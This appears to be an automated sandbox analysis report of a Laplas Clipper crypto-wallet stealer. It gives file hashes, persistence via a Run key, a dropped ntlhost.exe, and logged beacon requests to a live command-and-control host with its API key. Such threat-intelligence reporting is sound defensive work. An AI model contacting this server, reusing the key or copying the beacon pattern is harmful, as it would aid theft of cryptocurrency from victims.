Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/09/2023, 19:51 UTC

General

  • Target

    f927d512c8ea36edb283f9e8d5e02ab4ea25b4b143ea605284a3506cd00b8b57_JC.exe

  • Size

    10.0MB

  • MD5

    197bebce417f5ba6c178ee34037fbdea

  • SHA1

    d9dc871f8e61e590115bae9b0d842fae0f8f52b9

  • SHA256

    f927d512c8ea36edb283f9e8d5e02ab4ea25b4b143ea605284a3506cd00b8b57

  • SHA512

    8cf7bde02dc86518d60f3836e86d3def9b9fcaf4242eaefccc6eaf2ffe61e7eaebc5d2ca114fc11169854726cce125e7f71cdb92214c1e248b4006afa2b223ad

  • SSDEEP

    49152:4EjwvlIKv05z+UERnIcYmWjc3Cdhu5E9UFiqeb0/B1Y4kIZxdez6LK+/BV6Cbfoq:OlhWzZ6hnEciqem

Malware Config

Extracted

Family

laplas

C2

http://lpls.tuktuk.ug

Attributes
  • api_key

    a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde

Signatures

  • Laplas Clipper

    Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f927d512c8ea36edb283f9e8d5e02ab4ea25b4b143ea605284a3506cd00b8b57_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\f927d512c8ea36edb283f9e8d5e02ab4ea25b4b143ea605284a3506cd00b8b57_JC.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4412
    • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
      2⤵
      • Executes dropped EXE
      PID:1060

Network

  • flag-us
    DNS
    67.31.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    67.31.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    254.36.238.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.36.238.8.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    9.228.82.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    9.228.82.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    41.110.16.96.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    41.110.16.96.in-addr.arpa
    IN PTR
    Response
    41.110.16.96.in-addr.arpa
    IN PTR
    a96-16-110-41deploystaticakamaitechnologiescom
  • flag-us
    DNS
    57.169.31.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    57.169.31.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    lpls.tuktuk.ug
    ntlhost.exe
    Remote address:
    8.8.8.8:53
    Request
    lpls.tuktuk.ug
    IN A
    Response
    lpls.tuktuk.ug
    IN A
    95.214.27.254
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/regex
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/regex HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:51:29 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:51:29 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/regex
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/regex HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:52:30 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:52:31 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/regex
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/regex HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:53:31 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    GET
    http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin
    ntlhost.exe
    Remote address:
    95.214.27.254:80
    Request
    GET /bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin HTTP/1.1
    Host: lpls.tuktuk.ug
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.17.10 (Ubuntu)
    Date: Tue, 05 Sep 2023 19:53:31 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
  • flag-us
    DNS
    254.27.214.95.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.27.214.95.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    103.169.127.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    103.169.127.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    254.210.247.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.210.247.8.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    1.202.248.87.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.202.248.87.in-addr.arpa
    IN PTR
    Response
    1.202.248.87.in-addr.arpa
    IN PTR
    https-87-248-202-1amsllnwnet
  • flag-us
    DNS
    11.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    11.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    26.73.42.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.73.42.20.in-addr.arpa
    IN PTR
    Response
  • 95.214.27.254:80
    http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin
    http
    ntlhost.exe
    1.5kB
    2.9kB
    14
    16

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/regex

    HTTP Response

    200

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin

    HTTP Response

    200

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/regex

    HTTP Response

    200

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin

    HTTP Response

    200

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/regex

    HTTP Response

    200

    HTTP Request

    GET http://lpls.tuktuk.ug/bot/online?key=a0f588021b58e0c7908a163f8750678efedf2a66bf739a12427b379aef47ccde&guid=VNIYNTNL\Admin

    HTTP Response

    200
  • 8.8.8.8:53
    67.31.126.40.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    67.31.126.40.in-addr.arpa

  • 8.8.8.8:53
    254.36.238.8.in-addr.arpa
    dns
    71 B
    125 B
    1
    1

    DNS Request

    254.36.238.8.in-addr.arpa

  • 8.8.8.8:53
    9.228.82.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    9.228.82.20.in-addr.arpa

  • 8.8.8.8:53
    41.110.16.96.in-addr.arpa
    dns
    71 B
    135 B
    1
    1

    DNS Request

    41.110.16.96.in-addr.arpa

  • 8.8.8.8:53
    57.169.31.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    57.169.31.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    lpls.tuktuk.ug
    dns
    ntlhost.exe
    60 B
    76 B
    1
    1

    DNS Request

    lpls.tuktuk.ug

    DNS Response

    95.214.27.254

  • 8.8.8.8:53
    254.27.214.95.in-addr.arpa
    dns
    72 B
    147 B
    1
    1

    DNS Request

    254.27.214.95.in-addr.arpa

  • 8.8.8.8:53
    103.169.127.40.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    103.169.127.40.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    142 B
    145 B
    2
    1

    DNS Request

    206.23.85.13.in-addr.arpa

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    254.210.247.8.in-addr.arpa
    dns
    72 B
    126 B
    1
    1

    DNS Request

    254.210.247.8.in-addr.arpa

  • 8.8.8.8:53
    1.202.248.87.in-addr.arpa
    dns
    71 B
    116 B
    1
    1

    DNS Request

    1.202.248.87.in-addr.arpa

  • 8.8.8.8:53
    11.227.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    11.227.111.52.in-addr.arpa

  • 8.8.8.8:53
    26.73.42.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    26.73.42.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

    Filesize

    720.0MB

    MD5

    29fa44cdeffc3c3b14d0e4fd203e0b1f

    SHA1

    f5c0f8d3f416a513303f83825ecd1151b97adce5

    SHA256

    5c2d102694bcf67bea0504a27d6983ca8baf44f0a5dd6a7ce7fbee9bd0be4be3

    SHA512

    cee9ccad50f31b0804bec519020b64de0830055ae9937b30c0140e34c4791cf1bb5e09421807afb8f9d11c6e485f330f3c0ed17b86e1cf7a23f0644ac2e2fcd4

  • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe

    Filesize

    720.0MB

    MD5

    29fa44cdeffc3c3b14d0e4fd203e0b1f

    SHA1

    f5c0f8d3f416a513303f83825ecd1151b97adce5

    SHA256

    5c2d102694bcf67bea0504a27d6983ca8baf44f0a5dd6a7ce7fbee9bd0be4be3

    SHA512

    cee9ccad50f31b0804bec519020b64de0830055ae9937b30c0140e34c4791cf1bb5e09421807afb8f9d11c6e485f330f3c0ed17b86e1cf7a23f0644ac2e2fcd4

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